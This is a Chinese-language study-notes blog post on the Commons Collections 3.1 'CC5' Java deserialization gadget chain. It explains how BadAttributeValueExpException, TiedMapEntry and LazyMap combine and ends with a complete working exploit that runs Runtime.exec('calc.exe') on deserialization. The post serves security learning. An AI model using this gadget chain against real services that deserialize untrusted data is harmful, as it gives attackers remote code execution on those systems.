首页 > 编程语言 >java反序列化----CC5利用链学习笔记

java反序列化----CC5利用链学习笔记

时间:2023-11-19 15:57:51浏览次数:45  
标签:LazyMap java CC5 Object import new 序列化 class

java反序列化----CC5利用链学习笔记

目录

环境配置

jdk8u(无java版本要求)
pom.xml中写入

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

利用链

CC1的LazyMap利用链(但是使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类)
因为jdk8u71之后CC1链中LazyMap的get方法已经无法使用,CC5链使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类,
并且还用了TiedMapEntry类来调用LazyMap的get方法
java反序列化----CC1利用链学习笔记(TransformedMap和LazyMap)
前半部分payload和CC1的大体相同

        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

TiedMapEntry

TiedMapEntry实现了Serializable接口,并在getValue方法中调用了map.get方法,map是Map类型,可以把LazyMap类型参数传入进去



getValue方法是在toString方法中被调用

现在我们要找到一个类重写了readObject方法并且readObject方法可以调用toString方法

BadAttributeValueExpException

BadAttributeValueExpException类中发现调用了toString方法

所以可以将LazyMap类当做参数传入TiedMapEntry类中,通过观察构造函数发现还得传入一个Object key参数(可以随便传)

然后再通过反射将TiedMapEntry类赋给val值

最终EXP:

package cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static void main(String[] args) throws Exception {
        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.txt"));
        oos.writeObject(badAttributeValueExpException);

        //发序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.txt"));
        ois.readObject();

    }
}

参考文章

https://www.cnblogs.com/1vxyz/p/17473581.html
https://blog.csdn.net/qq_35733751/article/details/119077706

标签:LazyMap,java,CC5,Object,import,new,序列化,class
From: https://www.cnblogs.com/thebeastofwar/p/17842140.html

相关文章

  • 【Java基础】数组的动态初始化
    数组动态初始化:手动指定数组长度,系统为数组自动分配默认初始化值格式:数据类型[]数组名=new数据类型[长度];默认值的分类:整数:0小数:0.0布尔:false字符:'\u0000'(Unicode字符,常见的体现是空白字符)引用数据类型(数组、类、接口):null......
  • Java是一种高级编程语言,
    Java是一种高级编程语言,由SunMicrosystems(后来被Oracle收购)的詹姆斯·高斯林(JamesGosling)等人开发。Java的设计目标是实现“一次编写,随处运行”的理念,即通过一次编写程序,可以在多个平台上运行,而无需对程序进行修改。Java的发展可以追溯到20世纪90年代初。在当时,Sun公司致力于开......
  • JavaScript-进度事件
    进度事件的种类进度事件用来描述资源加载的进度,主要由AJAX请求、<img>、<audio>、<video>、<style>、<link>等外部资源的加载触发,继承了ProgressEvent接口。它主要包含以下几种事件。abort:外部资源中止加载时(比如用户取消)触发。如果发生错误导致中止,不会触发该事件。error:由于错......
  • 23届二本Java选手的自我介绍
    首先自我介绍,本人湖南二本学历,23年应届生,计算机科班。从大三开始系统学习Java知识,在去年历经过找实习时候的无人搭理,秋招互联网寒冬,见过很多公司一本学历点击就送,二本学历直接挂简历的,春招见过同学BOSS几千个招呼却约不到几场面试的,见到了同班10个Java方向的同学到头来只剩我一人还......
  • Java零基础入门-关系运算符
    前言Java作为一门广受欢迎的开发语言,其在企业级应用和移动应用开发中有着广泛的应用。如果你是一个Java零基础的初学者,那么你来到了一个正确的地方。在本篇文章中,我们会详细介绍Java中的关系运算符,帮助你快速入门。摘要本文主要介绍Java中的关系运算符。关系运算符用于比较两个......
  • Java中的Set集合之TreeSet
    TreeSet:TreeSet是一个有序集合,它扩展了AbstractSet类并实现了NavigableSet接口。以下是此实现最重要方面的快速摘要:它存储唯一的元素它不保留元素的插入顺序它按升序对元素进行排序它不是线程安全的在该实现中,对象根据其自然顺序以升序排序和存储。该TreeSet中使用的是一......
  • JAVA中的函数接口,你都用过吗
    公众号「架构成长指南」,专注于生产实践、云原生、分布式系统、大数据技术分享。在这篇文章中,我们将通过示例来学习Java函数式接口。函数式接口的特点只包含一个抽象方法的接口称为函数式接口。它可以有任意数量的默认静态方法,但只能包含一个抽象方法。它还可以声明对象类......
  • 史上功能最全的Java权限认证框架!
    大家好,我是Java陈序员。权限认证是我们日常开发绕不过的话题,这是因为我们的应用程序需要防护,防止被窜入和攻击。在Java后端开发中,实现权限认证有很多种方案可以选择,一个拦截器、过滤器也许就可以轻松搞定。当然,现在也有很多成熟的框架,供我们选择。轻量的Shiro,Spring家族的......
  • Java环境变量配置
    在初次写HelloWorld程序的时候出错了,编译成功,执行出错了(找不到或无法加载主类HelloWorld),编译成功说明环境变量Path没问题,最后发现是没有配置环境变量Classpath以下是程序以及报错  以下是我查找问题的步骤一.编译运行前需要注意的易错点1.代码有无错误2.以.java文件......
  • java 递归查子菜单
     递归查:@OverridepublicList<PromotionOrgInfoPO>queryOrgInfo(){List<PromotionOrgInfoPO>promotionOrgInfoPOS=pointExchangeDAO.queryOrgInfo();List<PromotionOrgInfoPO>rootInfo=newArrayList<>();if(......